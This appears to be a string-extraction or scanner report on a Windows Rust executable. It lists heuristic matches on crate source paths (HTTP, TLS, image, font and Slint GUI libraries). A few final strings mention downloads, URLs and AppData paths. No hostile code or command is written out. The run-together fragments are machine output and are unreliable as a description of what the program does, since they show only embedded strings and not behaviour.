"c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\image-webp-0.2.4\src\yuv.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\image-webp-0.2.4\src\vp8_arithmetic_decoder.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\image-webp-0.2.4\src\loop_filter.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\image-webp-0.2.4\src\transform.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ipnet-2.12.0\src\parser.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\memmap2-0.9.10\src\windows.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\mime-0.3.17\src\parse.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\miniz_oxide-0.8.9\src\deflate\core.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\miniz_oxide-0.8.9\src\inflate\core.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\miniz_oxide-0.8.9\src\inflate\output_buffer.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\miniz_oxide-0.8.9\src\deflate\stored.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\miniz_oxide-0.8.9\src\deflate\stream.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\miniz_oxide-0.8.9\src\inflate\stream.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\miniz_oxide-0.8.9\src\deflate\buffer.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\mio-1.2.0\src\sys\windows\selector.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\mio-1.2.0\src\sys\windows\named_pipe.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\mio-1.2.0\src\sys\windows\iocp.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\crossbeam-channel-0.5.15\src\context.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\muda-0.18.0\src\items\icon.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\muda-0.18.0\src\items\check.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\muda-0.18.0\src\items\normal.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\muda-0.18.0\src\items\submenu.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\crossbeam-channel-0.5.15\src\waker.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\crossbeam-channel-0.5.15\src\flavors\zero.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\crossbeam-channel-0.5.15\src\channel.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\crossbeam-channel-0.5.15\src\flavors\array.rs" Heuristic match: "undoredoc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\crossbeam-channel-0.5.15\src\flavors\list.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\muda-0.18.0\src\platform_impl\windows\icon.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\muda-0.18.0\src\menu.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\muda-0.18.0\src\platform_impl\windows\util.rs" Pattern match: "https://github.com/tauri-apps/muda" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\once_cell-1.21.4\src\imp_std.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\panic_abort\src\lib.rs" Heuristic match: "system-uiui-serifui-sans-serifui-monospaceui-roundedemojifangsongc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parlance-0.1.0\src\tag.rs" Heuristic match: "only asciic:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parlance-0.1.0\src\language.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parley_data-0.8.0\src\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parley-0.8.0\src\bidi.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parley-0.8.0\src\analysis\cluster.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parley-0.8.0\src\layout\line_break.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\percent-encoding-2.3.2\src\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\png-0.18.1\src\decoder\transform.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\png-0.18.1\src\decoder\zlib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\png-0.18.1\src\text_metadata.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\png-0.18.1\src\decoder\stream.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\png-0.18.1\src\decoder\transform\palette.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\png-0.18.1\src\adam7.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\png-0.18.1\src\common.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\png-0.18.1\src\filter\paeth.rs" Heuristic match: "end of image has been reacheda fatal decoding error has been encounted earliergrayscalergbindexedgrayscalealphargbaonetwofoureightsixteenc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ab_glyph_rasterizer-0.1.10\src\raster.rs" Heuristic match: "recursion detectedc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\properties.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\model\repeater.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\item_tree.rs" Heuristic match: ".\apps\quartzline\target\release\build\quartzline-3a17e10f4144059c\out\main_window.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\slint-1.16.1\private_unstable_api.rs" Heuristic match: "src\renderer.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\properties\properties_animations.rs" Heuristic match: "src\app.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\vtable-0.4.0\src\vrc.rs" Heuristic match: "callback handler set while calledc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\callbacks.rs" Heuristic match: "zenithsrc\config.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\model.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\crossbeam-epoch-0.9.18\src\internal.rs" Heuristic match: "threadpoolbuilderrorglobalpoolalreadyinitializedcurrentthreadalreadyinpoolioerrorc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\collections\int_set\bitpage.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\collections\int_set\bitset.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\postscript\dict.rs" Heuristic match: "invalid unit_size in format 10 aat lookup tablec:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\layout\script.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\name.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\avar.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\mvar.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_aat.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_cmap.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_gpos.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_layout.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_gsub.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_variations.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_gdef.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\gvar.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_maxp.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_postscript.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_ankr.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_hhea.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_hvar.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_mvar.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_vorg.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_vvar.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_cff.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_cff2.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_feat.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_fvar.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_trak.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_avar.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_hmtx.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_vmtx.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\../generated/font.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_post.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_head.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_gvar.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_kern.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_glyf.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_hdmx.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_morx.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_name.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_kerx.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\../../generated/generated_os2.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\proto\go_away.rs" Heuristic match: "assertion failed: self.remote.is_none()c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\proto\settings.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\proto\ping_pong.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.9.0\src\proto\h1\decode.rs" Heuristic match: "chunk trailers count overflow00current header namec:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.9.0\src\proto\h1\encode.rs" Heuristic match: "0invalid framec:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\proto\streams\prioritize.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\proto\streams\recv.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\proto\streams\store.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\proto\streams\streams.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\schannel-0.1.29\src\tls_stream.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\connect.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\async_impl\request.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\proto\streams\buffer.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\client.rs" Heuristic match: "base64 is always valid headervaluec:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\util.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-util-0.7.18\src\util\poll_buf.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\async_impl\body.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\sync\mpsc\list.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.32\src\future\select.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.9.0\src\client\conn\http1.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-tls-0.6.0\src\client.rs" Heuristic match: "pri * http/2.0smc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\client.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\rt\io.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\blocking\client.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.9.0\src\proto\h2\client.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\connect\dns.rs" Heuristic match: "proxy-authorization: c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\connect\proxy\tunnel.rs" Heuristic match: "envelope not droppedc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.9.0\src\client\dispatch.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\async_impl\response.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.9.0\src\proto\h1\conn.rs" Heuristic match: "trailersconnection errorc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\net\tcp\socket.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\sync\mpsc\unbounded.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\legacy\pool.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\blocking\body.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\dns\gai.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\async_impl\client.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\mime-0.3.17\src\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\encoding_rs-0.8.35\src\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.9.0\src\rt\io.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\header\value.rs" Heuristic match: "assertion failed: default_max_frame_size as usize <= val && val <= max_max_frame_size as usizec:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\codec\framed_read.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\common\lazy.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.32\src\future\future\map.rs" Heuristic match: "assertion failed: slot.is_none()c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-channel-0.3.32\src\oneshot.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\util\sharded_list.rs" Heuristic match: "mutex poisonedc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\proto\connection.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\proxy.rs" Heuristic match: "assertion failed: (*tail).value.is_none()c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-channel-0.3.32\src\mpsc\queue.rs" Heuristic match: "assertion failed: val <= frame::max_max_frame_size as usizec:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\codec\framed_write.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\slab-0.4.12\src\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-body-util-0.1.3\src\combinators\collect.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\rt\tokio.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\io\util\write_all.rs" Heuristic match: "polled feed after completionc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.32\src\sink\feed.rs" Heuristic match: "tryflatten polled after completionc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.32\src\future\try_future\try_flatten.rs" Heuristic match: "policyready polled after completionc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.32\src\future\ready.rs" Heuristic match: "already calledc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tower-0.5.3\src\util\oneshot.rs" Heuristic match: "fulldisconnected`len` greater than remainingc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-body-util-0.1.3\src\util.rs" Heuristic match: "reqwest::error`ready` polled after completion/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\future\ready.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.9.0\src\common\buf.rs" Heuristic match: "retrying requires cloned requestc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tower-0.5.3\src\retry\future.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\service\oneshot.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.11.1\src\buf\take.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.11.1\src\buf\chain.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.9.0\src\common\io\compat.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zune-jpeg-0.5.15\src\mcu.rs" Heuristic match: "would panic on slice iterationc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zune-jpeg-0.5.15\src\bitstream.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\image-webp-0.2.4\src\lossless.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\image-webp-0.2.4\src\huffman.rs" Pattern match: "http://ns.adobe.com/xap/1.0/" Pattern match: "http://ns.adobe.com/xmp/extension/" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zune-jpeg-0.5.15\src\headers.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zune-jpeg-0.5.15\src\mcu_prog.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\image-webp-0.2.4\src\decoder.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\image-webp-0.2.4\src\extended.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\iter\adapters\step_by.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\resvg-0.47.0\src\image.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\resvg-0.47.0\src\filter\box_blur.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\resvg-0.47.0\src\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zune-jpeg-0.5.15\src\decoder.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\image-webp-0.2.4\src\vp8.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\resvg-0.47.0\src\filter\morphology.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\resvg-0.47.0\src\filter\turbulence.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\resvg-0.47.0\src\filter\color_matrix.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\resvg-0.47.0\src\filter\convolve_matrix.rs" Heuristic match: "assertion failed: src.width == map.width && src.width == dest.widthc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\resvg-0.47.0\src\filter\displacement_map.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\resvg-0.47.0\src\filter\component_transfer.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\resvg-0.47.0\src\filter\iir_blur.rs" Heuristic match: "assertion failed: src.width == dest.width && src.height == dest.heightc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\resvg-0.47.0\src\filter\lighting.rs" Heuristic match: "assertion failed: src1.width == src2.width && src1.width == dest.widthc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\resvg-0.47.0\src\filter\composite.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zune-core-0.5.1\src\bytestream\reader\std_readers.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\byteorder-lite-0.1.0\src\lib.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\alloc\src\vec\spec_from_iter_nested.rs" Heuristic match: "`c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rfd-0.15.4\src\backend\win_cid\file_dialog\com.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\flate2-1.1.9\src\zio.rs" Heuristic match: "c:\r\src\d\c\profile.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\alloc\src\collections\btree\map.rs" Heuristic match: "indexcomsuccessecdurst1c:\r\src\e\commands.rs" Heuristic match: "st2trunc1trunc2errserialize_value called before serialize_keyc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\serde_json-1.0.149\src\value\ser.rs" Heuristic match: "c:\r\src\e\config.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\flate2-1.1.9\src\gz\write.rs" Heuristic match: "no urls providedc:\r\src\e\http.rs" Heuristic match: "invalid downloaduserprofileappdatalocalapplicationuser 